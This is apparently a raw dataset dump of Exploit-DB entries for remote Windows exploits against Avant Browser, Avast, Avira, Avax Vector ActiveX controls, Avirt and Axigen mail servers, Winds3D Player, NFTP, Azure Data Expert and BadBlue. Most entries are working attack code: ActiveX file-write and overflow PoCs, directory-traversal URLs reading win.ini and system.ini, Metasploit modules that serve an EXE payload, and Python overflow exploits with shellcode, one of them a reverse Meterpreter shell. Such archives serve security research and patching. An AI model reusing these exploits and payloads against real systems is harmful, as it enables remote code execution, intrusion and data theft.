deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14385
Description: Avant Browser 11.7 build 45 - Clickjacking
Type: remote
Platform: windows
Date: 2010-07-17
Author: Pouya Daneshmand

Exploit:
<html>
<style type="text/css">
</style>
<body>
<p align="center"><code><font face="Calibri" size="6" color="#FF0000">Avant</font></code><code class="xml plain"><font face="Calibri" size="6" color="#FF0000"> Browser </font></code>
<font face="Arial" size="2"><code class="xml plain">
(V11.7 build 45)</code></font><font face="Calibri" size="6" color="#FF0000"><code class="xml plain">
<b>Clickjacking</b></code></font></p>
<p align="center"> </p>
<div class="style1" id="open"
style="position:absolute; width:2px; height:2px; background:#FFFFFF; border:1px; left: 2px; top: 2px;"
onmouseover="document.location='http://www.Securitylab.ir/ClickJacking';">
	<p align="center">
	<font size="1" color="#FFFFFF">ClickJacking</font></div>
<p align="center"><strong>
  <script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('open').style.left=mouseX-2;
document.getElementById('open').style.top=mouseY-2;
}
</script>
</strong><a href="http://www.google.com" onClick="updatebox(event)"><font
style="font-family:arial;font-size:32px">Go to the google.com</font></a></p>
<p><br>
</p>
<div class="style1" id="open0"
style="position:absolute; width:2px; height:13px; background:#FFFFFF; border:1px none; left: 354px; top: 146px;"
onmouseover="document.location='http://www.Securitylab.ir/ClickJacking';">
	<p align="center">
	<font size="1" color="#FFFFFF">ClickJacking</font></div>

<p align="center"> </p>
<p align="center"> </p>
<p align="center">Discovered by: Pouya Daneshmand (whh_iran[at]yahoo[dot]com)</p>


<p align="center">Securitylab.ir</p>



</html>
Exploit-DB #38384
Description: Avast! AntiVirus - X.509 Error Rendering Command Execution
Type: remote
Platform: windows
Date: 2015-10-02
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=546

Avast will render the commonName of X.509 certificates into an HTMLLayout frame when your MITM proxy detects a bad signature. Unbelievably, this means CN="<h1>really?!?!?</h1>" actually works, and is pretty simple to convert into remote code execution.

To verify this bug, I've attached a demo certificate for you. Please find attached key.pem, cert.pem and cert.der. Run this command to serve it from a machine with openssl:

$ sudo openssl s_server -key key.pem -cert cert.pem -accept 443

Then visit that https server from a machine with Avast installed. Click the message that appears to demonstrate launching calc.exe.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38384.zip
Exploit-DB #4110
Description: Avax Vector 'Avaxswf.dll' 1.0.0.1 - ActiveX Arbitrary Data Write
Type: remote
Platform: windows
Date: 2007-06-26
Author: callAX

Exploit:
:. GOODFELLAS Security Research TEAM  .:
:. http://goodfellas.shellcode.com.ar .:

Avaxswf.dll v.1.0.0.1 from Avax Vector software ActiveX Arbitrary Data Write
============================================================================

Internal ID: VULWAR200706264.

Introduction
------------
Avaxswf.dll is a library included in the Avax Vector ActiveX v.1.3 software
package from the Company Civitech. 
( http://business.hol.gr/gardos/index.htm )
Such package include ActiveX control (OCX) that includes over 500 properties,
methods, and events to provide full control over vector drawings.
One of the Avaxswf.dll exported methods is vulnerable to Data write arbitrary 
in a remote computer.


Tested In
---------
- Windows XP SP2 english/french with IE 6.0 / 7.0.
- windows vista Professional SP1 with IE 7.0.


Summary
-------
The WriteMovie method doesn't check if it is being called from the application
or from a malicious user.


Impact
------
The vulnerability is due to an error in WriteMovie method that manipulate
local files insecurely, which could allow malicious users to write arbitrary
data to any file on a vulnerable system.


Workaround
----------
- Activate the Kill bit zero in clsid:0DD77391-686B-11D4-B367-D4475FDFF33A.
- Unregister Avaxswf.dll using regsvr32.


Timeline
--------
June 26, 2007 -- Bug discovery.
June 26, 2007 -- Bug published.


Credits
-------
 * callAX <callax@shellcode.com.ar>
 * GoodFellas Security Research Team <goodfellas.shellcode.com.ar>



Technical Detail
----------------
WriteMovie method receives one argument filename in this format "c:\path\file".

POC
---

<object classid='clsid:0DD77391-686B-11D4-B367-D4475FDFF33A' id='wRit3'></object>
<input language=VBScript onclick=Boom() type=button value="Write">

<script language = 'vbscript'>

sub Boom() 

   f1l3 = "C:\WINDOWS\system32\drivers\hackme.sys"

   wRit3.WriteMovie f1l3

 End Sub

</script>

# milw0rm.com [2007-06-26]
Exploit-DB #33066
Description: Avax Vector 1.3 - 'avPreview.ocx' ActiveX Control Buffer Overflow
Type: remote
Platform: windows
Date: 2009-06-06
Author: Satan_HackerS

Exploit:
source: https://www.securityfocus.com/bid/35583/info

Avax Vector is prone to a remote buffer-overflow vulnerability.

Attackers can exploit this issue to execute arbitrary code within the context of an application that uses the ActiveX control (typically Internet Explorer). Failed exploit attempts will result in a denial-of-service condition.

Avax Vector ActiveX 1.3 is vulnerable; other versions may also be affected. 

<html>
<object classid='clsid:9589AEC9-1C2D-4428-B7E8-63B39D356F9C' id='CCRP' ></object>
<script language='vbscript'>

argCount   = 1

arg1=String(10260, "A")

target.PrinterName = arg1

</script>

<script language='javascript'>
 document.location.reload()
</script>
Exploit-DB #35225
Description: Avira AntiVir Personal - Multiple Code Execution Vulnerabilities (1)
Type: remote
Platform: windows
Date: 2011-01-14
Author: D.Elser

Exploit:
// source: https://www.securityfocus.com/bid/45807/info

Avira AntiVir Personal is prone to multiple code-execution vulnerabilities.

Successful exploits may allow an attacker to execute arbitrary code with SYSTEM-level privileges. Failed exploit attempts will likely result in denial-of-service conditions.

Please note that these issues affect versions of the application that are no longer supported. 

#include <windows.h>

int main(int argc, char* argv[])
{
	char buffer[0x100];
	DWORD returned;
	HANDLE hDevice;

	hDevice = CreateFileW( L"\\\\.\\avgntdd", GENERIC_READ | GENERIC_WRITE, 0, 0, 3, 0x80, 0 );
	if( hDevice != INVALID_HANDLE_VALUE )
	{
		printf("Could not open handle to guard driver.\n");
		return 1;
	}
	
	memset( buffer, 0, sizeof(buffer) );
	
	if( !DeviceIoControl( hDevice, 0x0CABA020C, &buffer, sizeof(buffer), 0,0, &returned, 0) )
	{
		printf("Could not communicate with guard driver.\n");
		return 1;		
	}
	return 0;
}
Exploit-DB #19580
Description: Avirt Gateway Suite 3.3 a/3.5 - Mail Server Buffer Overflow (1)
Type: remote
Platform: windows
Date: 1999-10-31
Author: Luck Martins

Exploit:
source: https://www.securityfocus.com/bid/755/info
 
The Avirt Mail Server 3.3a and 3.5 packages are vulnerable to a remote buffer overflow vulnerability. The buffer overflow can be initiated by passing 856 characters in the password field.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19580.zip
Exploit-DB #19589
Description: Avirt Gateway Suite 3.3/3.3 a/3.5 - Directory Creation
Type: remote
Platform: windows
Date: 1999-10-31
Author: JesÃºs LÃ³pez de Aguileta

Exploit:
source: https://www.securityfocus.com/bid/764/info

The aVirt Mail Server has a weakness in the code that handles the RCPT TO command. By specifying a path in the command instead of an email recipient , an attacker could cause the mail server to create a directory in the server's local filesystem.

telnet targethost:25

> 220 server aVirt Mail SMTP Server Ready.
MAIL FROM: user
> 250 user, Sender OK
rcpt to:..\..\..\..\createdir
> 250 ..\..\..\..\createdir, Recipient OK
data
> 354 Please enter mail, ending with a "." on a line by itself
blablabla
.
> 250 Mail accepted.

This will cause the mail server to create a root directory called "createdir", which will contain 1 file. Testing indicates that this method cannot be used to overwrite existing folders.
Exploit-DB #29490
Description: avm fritz!dsl igd control service 2.2.29 - Directory Traversal Information Disclosure
Type: remote
Platform: windows
Date: 2007-01-17
Author: DPR

Exploit:
source: https://www.securityfocus.com/bid/22093/info

The AVM Fritz!DSL IGD Control Service is prone to a remote information-disclosure vulnerability because the application fails to properly sanitize user-supplied input.

Exploiting this issue allows remote, unauthenticated attackers to retrieve the contents of arbitrary files from vulnerable computers with SYSTEM-level privileges. Information harvested may aid in further attacks. 

http://www.example.com:49001/..%5C..%5C..%5Cwindows%5Csystem.ini
Exploit-DB #16570
Description: AwingSoft Winds3D Player 3.5 - SceneURL Download and Execute (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: awingsoft_winds3d_sceneurl.rb 10389 2010-09-20 04:38:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AwingSoft Winds3D Player 3.5 SceneURL Download and Execute',
			'Description'    => %q{
					This module exploits an untrusted program execution vulnerability within the
				Winds3D Player from AwingSoft. The Winds3D Player is a browser plugin for
				IE (ActiveX), Opera (DLL) and Firefox (XPI). By setting the 'SceneURL'
				parameter to the URL to an executable, an attacker can execute arbitrary
				code.

				Testing was conducted using plugin version 3.5.0.9 for Firefox 3.5 and
				IE 8 on Windows XP SP3.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'jduck'  # original discovery & metasploit module
				],
			'Version'        => '$Revision: 10389 $',
			'References'     =>
				[
					[ 'CVE', '2009-4850' ],
					[ 'OSVDB', '60049' ]
				],
			'Payload'        =>
				{
					'Space'    => 2048,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { }],
				],
			'DisclosureDate' => 'Nov 14 2009',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)

		payload_url =  "http://"
		payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

		if (request.uri.match(/payload/))
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_exe({ :code => p.encoded })
			print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

			# Handle the payload
			# handler(cli)
			return
		end

		# otherwise, send the html..
		html = %Q|<html>
<body>
<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903'
codebase='http://www.awingsoft.com/zips/WindsPly.CAB'>
<param name="SceneURL" value="#{payload_url}#">
<embed type="application/x-awingsoft-winds3d" src="#{payload_url}">
</object>
|

		print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}...")
		# Transmit the compressed response to the client
		send_response(cli, html, { 'Content-Type' => 'text/html' })

	end
end
Exploit-DB #37996
Description: Axigen Mail Server - 'Filename' Directory Traversal
Type: remote
Platform: windows
Date: 2012-10-31
Author: Zhao Liang

Exploit:
source: https://www.securityfocus.com/bid/56343/info

Axigen Mail Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied data.

A remote attacker could exploit this vulnerability using directory-traversal strings (such as '../') to obtain sensitive information, cause a denial of service condition, or execute arbitrary code with the privileges of the application. This could help the attacker launch further attacks. 

http://www.example.com/?h=44ea8a6603cbf54e245f37b4ddaf8f36&page=vlf&action=edit&fileName=..\..\..\windows\win.ini

http://www.example.com/source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\..\..\windows\win.ini
Exploit-DB #34622
Description: Axigen Webmail 1.0.1 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-09-15
Author: Bogdan Calin

Exploit:
source: https://www.securityfocus.com/bid/43230/info

Axigen Webmail is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Axigen Webmail 7.4.1 is vulnerable; other versions may be affected. 

http://www.example.com/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini
Exploit-DB #43025
Description: Ayukov NFTP FTP Client < 2.0 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2017-10-21
Author: Berk Cem Göksel

Exploit:
#!/usr/bin/env python
# coding: utf-8

############ Description: ##########
# The vulnerability was discovered during a vulnerability research lecture.
# This is meant to be a PoC.
####################################

# Exploit Title: Ayukov NFTP FTP Client - Buffer Overflow
# Date: 2017-10-21
# Exploit Author: Berk Cem Göksel
# Contact: twitter.com/berkcgoksel || bgoksel.com
# Vendor Homepage: http://ayukov.com/nftp/source-release.html
# Software Link: ftp://ftp.ayukov.com/pub/nftp/
# Version:  v1.71, v1.72, v1.8, v2.0
# Tested on: Windows 10
# Category: Windows Remote Exploit
# CVE : CVE-2017-15222

import socket

IP = '127.0.0.1'
port = 21


#(exec calc.exe)
shellcode=(
"\xda\xc5\xbe\xda\xc6\x9a\xb6\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1"
"\x33\x83\xc5\x04\x31\x75\x13\x03\xaf\xd5\x78\x43\xb3\x32\xf5"
"\xac\x4b\xc3\x66\x24\xae\xf2\xb4\x52\xbb\xa7\x08\x10\xe9\x4b"
"\xe2\x74\x19\xdf\x86\x50\x2e\x68\x2c\x87\x01\x69\x80\x07\xcd"
"\xa9\x82\xfb\x0f\xfe\x64\xc5\xc0\xf3\x65\x02\x3c\xfb\x34\xdb"
"\x4b\xae\xa8\x68\x09\x73\xc8\xbe\x06\xcb\xb2\xbb\xd8\xb8\x08"
"\xc5\x08\x10\x06\x8d\xb0\x1a\x40\x2e\xc1\xcf\x92\x12\x88\x64"
"\x60\xe0\x0b\xad\xb8\x09\x3a\x91\x17\x34\xf3\x1c\x69\x70\x33"
"\xff\x1c\x8a\x40\x82\x26\x49\x3b\x58\xa2\x4c\x9b\x2b\x14\xb5"
"\x1a\xff\xc3\x3e\x10\xb4\x80\x19\x34\x4b\x44\x12\x40\xc0\x6b"
"\xf5\xc1\x92\x4f\xd1\x8a\x41\xf1\x40\x76\x27\x0e\x92\xde\x98"
"\xaa\xd8\xcc\xcd\xcd\x82\x9a\x10\x5f\xb9\xe3\x13\x5f\xc2\x43"
"\x7c\x6e\x49\x0c\xfb\x6f\x98\x69\xf3\x25\x81\xdb\x9c\xe3\x53"
"\x5e\xc1\x13\x8e\x9c\xfc\x97\x3b\x5c\xfb\x88\x49\x59\x47\x0f"
"\xa1\x13\xd8\xfa\xc5\x80\xd9\x2e\xa6\x47\x4a\xb2\x07\xe2\xea"
"\x51\x58")

CALL_ESP = "\xdd\xfc\x40\x00" # call esp - nftpc.exe  #0040FCDD
buff = "A" * 4116 + CALL_ESP + '\x90' * 16 + shellcode + "C" * (15000-4116-4-16-len(shellcode))
#Can call esp but the null byte terminates the string.

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((IP, port))
        s.listen(20)
        print("[i] FTP Server started on port: "+str(port)+"\r\n")
except:
        print("[!] Failed to bind the server to port: "+str(port)+"\r\n")

while True:
    conn, addr = s.accept()
    conn.send('220 Welcome!' + '\r\n')
    print conn.recv(1024)
    conn.send('331 OK.\r\n')
    print conn.recv(1024)
    conn.send('230 OK.\r\n')
    print conn.recv(1024)
    conn.send(buff + '\r\n')
    print conn.recv(1024)
    conn.send('257' + '\r\n')
Exploit-DB #41545
Description: Azure Data Expert Ultimate 2.2.16 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2017-03-07
Author: Peter Baris

Exploit:
# Exploit Title: Azure Data Expert Ultimate 2.2.16 – buffer overflow
# Date: 2017-03-07
# Exploit Author: Peter Baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: http://www.azuredex.com/downloads.html
# Version: 2.2.16
# Tested on: Windows Server 2008 R2 Standard x64
# CVE : CVE-2017-6506

# The same method is used in the sysgauge exploit, this includes an extra check of the length of the shellcode parts.

import socket

# QtGui4.dll 0x6527635E - CALL ESP
jmp = "\x5e\x63\x27\x65"
nops = "\x90"*8


# reverse meterpreter shell 306 bytes long bad chars \x00\x0a\x0b\x20 
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=4444 -f c -b \x00\x0a\x0d\x20 --smallest

rev_met_1=("\x6a\x47\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1f\x2d"
"\x97\x97\x83\xeb\xfc\xe2\xf4\xe3\xc5\x15\x97\x1f\x2d\xf7\x1e"
"\xfa\x1c\x57\xf3\x94\x7d\xa7\x1c\x4d\x21\x1c\xc5\x0b\xa6\xe5"
"\xbf\x10\x9a\xdd\xb1\x2e\xd2\x3b\xab\x7e\x51\x95\xbb\x3f\xec"
"\x58\x9a\x1e\xea\x75\x65\x4d\x7a\x1c\xc5\x0f\xa6\xdd\xab\x94"
"\x61\x86\xef\xfc\x65\x96\x46\x4e\xa6\xce\xb7\x1e\xfe\x1c\xde"
"\x07\xce\xad\xde\x94\x19\x1c\x96\xc9\x1c\x68\x3b\xde\xe2\x9a"
"\x96\xd8\x15\x77\xe2\xe9\x2e\xea\x6f\x24\x50\xb3\xe2\xfb\x75"
"\x1c\xcf\x3b\x2c\x44\xf1\x94\x21\xdc\x1c\x47\x31\x96\x44\x94"
"\x29\x1c\x96\xcf\xa4\xd3\xb3\x3b\x76\xcc\xf6\x46\x77\xc6\x68"
"\xff\x72\xc8\xcd\x94\x3f\x7c\x1a\x42\x45\xa4\xa5\x1f\x2d\xff"
"\xe0\x6c\x1f\xc8\xc3\x77\x61\xe0\xb1\x18\xd2\x42\x2f\x8f\x2c"
"\x97\x97\x36\xe9\xc3\xc7\x77\x04\x17\xfc\x1f\xd2\x42\xfd\x1a"
"\x45\x57\x3f\xd9\xad\xff\x95\x1f\x3c\xcb\x1e\xf9\x7d\xc7\xc7"
"\x4f\x6d\xc7\xd7\x4f\x45\x7d\x98\xc0\xcd\x68\x42\x88\x47\x87"
"\xc1\x48\x45\x0e\x32\x6b\x4c")


rev_met_2=("\x68\x42\x9a\xed\xe3\x9b\xe0\x63"
"\x9f\xe2\xf3\x45\x67\x22\xbd\x7b\x68\x42\x75\x2d\xfd\x93\x49"
"\x7a\xff\x95\xc6\xe5\xc8\x68\xca\xa6\xa1\xfd\x5f\x45\x97\x87"
"\x1f\x2d\xc1\xfd\x1f\x45\xcf\x33\x4c\xc8\x68\x42\x8c\x7e\xfd"
"\x97\x49\x7e\xc0\xff\x1d\xf4\x5f\xc8\xe0\xf8\x96\x54\x36\xeb"
"\xe2\x79\xdc\x2d\x97\x97")


buffer = "A"*176+rev_met_2+"A"*2+jmp+"B"*12+nops+rev_met_1
port = 25
s = socket.socket()
ip = '0.0.0.0'             
s.bind((ip, port))            
s.listen(5)                    

 
print 'Listening on SMTP port: '+str(port)
if len(rev_met_1) >= 236:
	print('[!] Shellcode part 1 is too long ('+str(len(rev_met_1))+'). Exiting.')
	exit(1) 
elif len(rev_met_2) >= 76:
	print('[!] Shellcode part 2 is too long('+str(len(rev_met_2))+'). Exiting.')
	exit(1)
 
while True:
	conn, addr = s.accept()     
	conn.send('220 '+buffer+'\r\n')
	conn.close()
Exploit-DB #5078
Description: Backup Exec System Recovery Manager 7.0.1 - Arbitrary File Upload
Type: remote
Platform: windows
Date: 2008-02-07
Author: titon

Exploit:
<?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml">
  <head><title>File Upload POC</title></head>
  <body>
    <h2> Backup Exec System Recovery Manager 7.0<br>File Upload POC</h2>
    <form action="https://<TARGET>:8443/axis/FileUpload" method="post"
enctype="multipart/form-data">
      Remote Path: <input name="path" size="100" type="text"
value="C:\Program Files\Symantec\Backup Exec System
Recovery\Manager\Services\tomcat\WebApps\axis"/><br/>
	File to upload: <input name="log_file" type="file"/><br/>
      <hr/>
      <p><input type="submit"/><input type="reset"/></p>
	  </form>
(c)BastardLabs 2008.
  </body>
</html>

# milw0rm.com [2008-02-07]
Exploit-DB #16761
Description: BadBlue 2.5 - 'ext.dll' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-07
Author: Metasploit

Exploit:
##
# $Id: badblue_ext_overflow.rb 9719 2010-07-07 17:38:59Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
	# However, a proper Server header is returned when requesting /index.html or using HEAD.
	HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BadBlue 2.5 EXT.dll Buffer Overflow',
			'Description'    => %q{
				This is a stack buffer overflow exploit for BadBlue version 2.5.
			},
			'Author'         => 'acaro <acaro [at] jervus.it>',
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9719 $',
			'References'     =>
				[
					[ 'CVE', '2005-0595' ],
					[ 'OSVDB', '14238' ],
					[ 'BID', '7387' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],
				],
			'DisclosureDate' => 'Apr 20 2003',
			'DefaultTarget'  => 0))
	end

	def check
		info = http_fingerprint  # check method
		if (info =~ /BadBlue\/2\.5/)
			return Exploit::CheckCode::Vulnerable
		end
		Exploit::CheckCode::Safe
	end

	def exploit
		uri     = "GET /ext.dll?mfcisapicommand="
		sploit  = rand_text_alphanumeric(500)
		seh     = generate_seh_payload(target.ret)
		sploit[492, seh.length] = seh
		uri << sploit

		print_status("Trying target #{target.name}...")
		send_request_raw({ 'uri' => uri })

		handler
	end

end